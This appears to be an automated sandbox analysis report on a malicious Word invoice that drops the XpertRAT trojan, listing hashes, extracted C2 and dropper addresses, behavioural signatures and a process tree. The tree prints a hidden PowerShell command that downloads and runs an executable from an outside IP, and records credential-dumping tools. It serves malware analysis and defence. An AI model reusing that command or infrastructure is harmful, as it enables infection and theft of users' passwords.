xpertrat | e31f5bfd01e6d5876991d6aae68921b7510090d880d2602ed57032e7d14a9cae

Analysis

max time kernel
28s
max time network
314s
platform
windows7_x64
resource
win7v20210408
submitted
06/09/2021, 11:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
paymen_invoice.doc
Size 340KB
Sample210906-nt3mtsebel
SHA256 e31f5bfd01e6d5876991d6aae68921b7510090d880d2602ed57032e7d14a9cae
MD5 285d05dd2a3a053e5095f09b609fca64
SHA1 668f3a6f6fa038bdbcd0e57d32783f37c259469d
SHA512 1db0f843078059020981aba55b5fe40d72ec5cc1aa0903353bde23e28299cfd732435760f80e7423c7b999e64e810090bfbaa2f90609aa426cd79074c655c407
MD5 SHA1 SHA512

Score

10^/10

xpertrat test rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
httP://192.3.194.242/EXCEL.exe

Extracted

Family

xpertrat

Version

3.0.10

Botnet

Test

kapasky-antivirus.firewall-gateway.net:4000

Mutex

L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	664	1840	powershell.exe	24
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1496	1840	powershell.exe	24
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1720	1840	powershell.exe	24

XpertRAT
XpertRAT is a remote access trojan with various capabilities.
rat xpertrat

XpertRAT Core Payload 3 IoCs

resource	yara_rule
behavioral1/memory/1848-309-0x0000000000401364-mapping.dmp	xpertrat
behavioral1/memory/2096-315-0x0000000000401364-mapping.dmp	xpertrat
behavioral1/memory/1912-324-0x0000000000401364-mapping.dmp	xpertrat

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral1/memory/2500-340-0x0000000000411654-mapping.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral1/memory/1616-345-0x0000000000442F04-mapping.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral1/memory/2500-340-0x0000000000411654-mapping.dmp	Nirsoft
behavioral1/memory/1616-345-0x0000000000442F04-mapping.dmp	Nirsoft
behavioral1/memory/2568-352-0x000000000040C2A8-mapping.dmp	Nirsoft

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1496	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
388	EXCEL.exe
1600	EXCEL.exe
1068	EXCEL.exe

Loads dropped DLL 3 IoCs

pid	Process
1496	powershell.exe
664	powershell.exe
1720	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1840	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
664	powershell.exe
664	powershell.exe
1496	powershell.exe
1720	powershell.exe
1496	powershell.exe
1720	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	664	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1720	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1840	WINWORD.EXE
1840	WINWORD.EXE
1840	WINWORD.EXE
1840	WINWORD.EXE

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 1840 wrote to memory of 664	1840	WINWORD.EXE	31
PID 1840 wrote to memory of 664	1840	WINWORD.EXE	31
PID 1840 wrote to memory of 664	1840	WINWORD.EXE	31
PID 1840 wrote to memory of 664	1840	WINWORD.EXE	31
PID 1840 wrote to memory of 1496	1840	WINWORD.EXE	33
PID 1840 wrote to memory of 1496	1840	WINWORD.EXE	33
PID 1840 wrote to memory of 1496	1840	WINWORD.EXE	33
PID 1840 wrote to memory of 1496	1840	WINWORD.EXE	33
PID 1840 wrote to memory of 1720	1840	WINWORD.EXE	35
PID 1840 wrote to memory of 1720	1840	WINWORD.EXE	35
PID 1840 wrote to memory of 1720	1840	WINWORD.EXE	35
PID 1840 wrote to memory of 1720	1840	WINWORD.EXE	35
PID 1720 wrote to memory of 388	1720	powershell.exe	39
PID 1720 wrote to memory of 388	1720	powershell.exe	39
PID 1720 wrote to memory of 388	1720	powershell.exe	39
PID 1720 wrote to memory of 388	1720	powershell.exe	39
PID 1720 wrote to memory of 388	1720	powershell.exe	39
PID 1720 wrote to memory of 388	1720	powershell.exe	39
PID 1720 wrote to memory of 388	1720	powershell.exe	39
PID 1496 wrote to memory of 1600	1496	powershell.exe	37
PID 1496 wrote to memory of 1600	1496	powershell.exe	37
PID 1496 wrote to memory of 1600	1496	powershell.exe	37
PID 1496 wrote to memory of 1600	1496	powershell.exe	37
PID 1496 wrote to memory of 1600	1496	powershell.exe	37
PID 1496 wrote to memory of 1600	1496	powershell.exe	37
PID 1496 wrote to memory of 1600	1496	powershell.exe	37
PID 664 wrote to memory of 1068	664	powershell.exe	38
PID 664 wrote to memory of 1068	664	powershell.exe	38
PID 664 wrote to memory of 1068	664	powershell.exe	38
PID 664 wrote to memory of 1068	664	powershell.exe	38
PID 664 wrote to memory of 1068	664	powershell.exe	38
PID 664 wrote to memory of 1068	664	powershell.exe	38
PID 664 wrote to memory of 1068	664	powershell.exe	38
PID 1068 wrote to memory of 240	1068	EXCEL.exe	42
PID 1068 wrote to memory of 240	1068	EXCEL.exe	42
PID 1068 wrote to memory of 240	1068	EXCEL.exe	42
PID 1068 wrote to memory of 240	1068	EXCEL.exe	42

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\paymen_invoice.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://192.3.194.242/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
  2⤵
  - Process spawned unexpected child process
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:664
- - C:\Users\Admin\AppData\Roaming\EXCEL.exe
    "C:\Users\Admin\AppData\Roaming\EXCEL.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1068
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName youtube.com
      4⤵
      PID:240
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName google.com
      4⤵
      PID:2072
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName facebook.com
      4⤵
      PID:2368
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName outlook.com
      4⤵
      PID:2644
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName bing.com
      4⤵
      PID:2892
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName google.com
      4⤵
      PID:2140
  - - C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
      C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
      4⤵
      PID:3016
    - - C:\Program Files (x86)\Internet Explorer\iexplore.exe
        
        C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
        5⤵
        
        PID:2096
      - C:\Windows\SysWOW64\notepad.exe
        
        notepad.exe
        6⤵
        
        PID:2880
      - C:\Program Files (x86)\Internet Explorer\iexplore.exe
        
        /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\aqetbcnbo0.txt"
        6⤵
        
        PID:2548
      - C:\Program Files (x86)\Internet Explorer\iexplore.exe
        
        /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\aqetbcnbo1.txt"
        6⤵
        
        PID:2500
      - C:\Program Files (x86)\Internet Explorer\iexplore.exe
        
        /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\aqetbcnbo1.txt"
        6⤵
        
        PID:1732
      - C:\Program Files (x86)\Internet Explorer\iexplore.exe
        
        /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\aqetbcnbo2.txt"
        6⤵
        
        PID:1616
      - C:\Program Files (x86)\Internet Explorer\iexplore.exe
        
        /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\aqetbcnbo3.txt"
        6⤵
        
        PID:108
      - C:\Program Files (x86)\Internet Explorer\iexplore.exe
        
        /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\aqetbcnbo4.txt"
        6⤵
        
        PID:2568
    - - C:\Program Files (x86)\Internet Explorer\iexplore.exe
        
        C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
        5⤵
        
        PID:1912
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://192.3.194.242/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Users\Admin\AppData\Roaming\EXCEL.exe
    "C:\Users\Admin\AppData\Roaming\EXCEL.exe"
    3⤵
    - Executes dropped EXE
    PID:1600
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName youtube.com
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName google.com
      4⤵
      PID:824
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName facebook.com
      4⤵
      PID:2356
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName outlook.com
      4⤵
      PID:2632
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName bing.com
      4⤵
      PID:2916
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName google.com
      4⤵
      PID:2236
  - - C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
      C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
      4⤵
      PID:2968
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://192.3.194.242/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
  2⤵
  - Process spawned unexpected child process
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Users\Admin\AppData\Roaming\EXCEL.exe
    "C:\Users\Admin\AppData\Roaming\EXCEL.exe"
    3⤵
    - Executes dropped EXE
    PID:388
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName youtube.com
      4⤵
      PID:1016
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName google.com
      4⤵
      PID:1572
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName facebook.com
      4⤵
      PID:2340
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName outlook.com
      4⤵
      PID:2620
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName bing.com
      4⤵
      PID:2932
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection -ComputerName google.com
      4⤵
      PID:2252
  - - C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
      C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
      4⤵
      PID:2872
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2468

C:\Program Files (x86)\Internet Explorer\iexplore.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
1⤵
PID:1848

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/240-160-0x0000000004B80000-0x0000000004B81000-memory.dmp

Download

memory/240-162-0x0000000004B82000-0x0000000004B83000-memory.dmp

Download

memory/388-142-0x00000000043B0000-0x00000000043B1000-memory.dmp

Download

memory/664-68-0x0000000001090000-0x0000000001091000-memory.dmp

Download

memory/664-67-0x0000000004770000-0x0000000004771000-memory.dmp

Download

memory/664-66-0x0000000000FB0000-0x0000000000FB1000-memory.dmp

Download

memory/664-69-0x0000000001092000-0x0000000001093000-memory.dmp

Download

memory/664-70-0x0000000005140000-0x0000000005141000-memory.dmp

Download

memory/664-71-0x0000000005240000-0x0000000005241000-memory.dmp

Download

memory/824-192-0x0000000004980000-0x0000000004981000-memory.dmp

Download

memory/824-195-0x0000000004982000-0x0000000004983000-memory.dmp

Download

memory/1016-153-0x0000000004910000-0x0000000004911000-memory.dmp

Download

memory/1016-159-0x00000000048D0000-0x00000000048D1000-memory.dmp

Download

memory/1016-166-0x0000000005300000-0x0000000005301000-memory.dmp

Download

memory/1016-169-0x00000000056A0000-0x00000000056A1000-memory.dmp

Download

memory/1016-161-0x00000000048D2000-0x00000000048D3000-memory.dmp

Download

memory/1016-150-0x0000000000F40000-0x0000000000F41000-memory.dmp

Download

memory/1016-156-0x0000000002550000-0x0000000002551000-memory.dmp

Download

memory/1068-134-0x0000000000BF0000-0x0000000000BF1000-memory.dmp

Download

memory/1068-141-0x00000000002F0000-0x00000000002F1000-memory.dmp

Download

memory/1496-92-0x00000000056D0000-0x00000000056D1000-memory.dmp

Download

memory/1496-111-0x0000000006370000-0x0000000006371000-memory.dmp

Download

memory/1496-105-0x0000000006350000-0x0000000006351000-memory.dmp

Download

memory/1496-98-0x00000000057D0000-0x00000000057D1000-memory.dmp

Download

memory/1496-87-0x0000000000EF2000-0x0000000000EF3000-memory.dmp

Download

memory/1496-97-0x0000000005790000-0x0000000005791000-memory.dmp

Download

memory/1496-86-0x0000000000EF0000-0x0000000000EF1000-memory.dmp

Download

memory/1496-118-0x000000007EF30000-0x000000007EF31000-memory.dmp

Download

memory/1572-188-0x0000000004872000-0x0000000004873000-memory.dmp

Download

memory/1572-187-0x0000000004870000-0x0000000004871000-memory.dmp

Download

memory/1600-140-0x00000000004B0000-0x00000000004B1000-memory.dmp

Download

memory/1720-88-0x0000000004870000-0x0000000004871000-memory.dmp

Download

memory/1720-89-0x0000000004872000-0x0000000004873000-memory.dmp

Download

memory/1840-61-0x0000000070A21000-0x0000000070A23000-memory.dmp

Download

memory/1840-63-0x00000000762C1000-0x00000000762C3000-memory.dmp

Download

memory/1840-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Download

memory/1840-60-0x0000000072FA1000-0x0000000072FA4000-memory.dmp

Download

memory/2044-163-0x0000000002550000-0x000000000319A000-memory.dmp

Download

memory/2044-165-0x0000000002550000-0x000000000319A000-memory.dmp

Download

memory/2072-190-0x0000000004AB0000-0x0000000004AB1000-memory.dmp

Download

memory/2072-196-0x0000000004AB2000-0x0000000004AB3000-memory.dmp

Download